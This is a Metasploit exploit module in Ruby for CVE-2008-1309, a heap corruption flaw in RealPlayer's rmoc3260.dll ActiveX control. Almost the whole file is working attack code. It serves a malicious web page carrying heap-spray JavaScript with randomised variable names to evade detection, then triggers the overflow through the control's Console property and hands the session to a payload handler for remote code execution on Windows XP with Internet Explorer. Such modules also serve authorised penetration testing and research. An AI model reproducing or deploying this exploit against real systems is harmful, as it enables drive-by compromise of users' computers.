
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
			'Description'    => %q{
					This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. 
					By sending a specially crafted string to the 'Console' property 
					in the rmoc3260.dll control, an attacker may be able to execute 
					arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], 
			'Version'        => '$Revision: 7724 $',
			'References'     => 
				[
					[ 'CVE', '2008-1309' ],
					[ 'OSVDB', '42946' ],
					[ 'BID', '28157' ],
					[ 'URL', 'http://secunia.com/advisories/29315/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",	
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]	
				],
			'DisclosureDate' => 'March 8 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
		ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
		blocksize = 0x40000
		fillto    = 400 
		offset 	  = target['Offset']
	
		# Randomize the javascript variable names
		racontrol    = rand_text_alpha(rand(100) + 1)
 		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_ret        = rand_text_alpha(rand(100) + 1)

		# Build out the message
		content = %Q|
			<html>
				<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
				 <script language='javascript'>
					#{j_shellcode} = unescape('#{shellcode}');
					#{j_nops} = unescape('#{nops}');
					#{j_headersize} = 20;
					#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
					while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
					#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
					#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
					while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
					#{j_memory} = new Array();
					for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
					#{j_ret} = unescape('#{ret}');
					while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
					
					#{racontrol}.Console = #{j_ret};
					#{racontrol}.Console = '';
					#{racontrol}.Console = #{j_ret};				
				 </script>
			 </html>
			|

		
	
		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
		
		# Handle the payload
		handler(cli)
	end

end
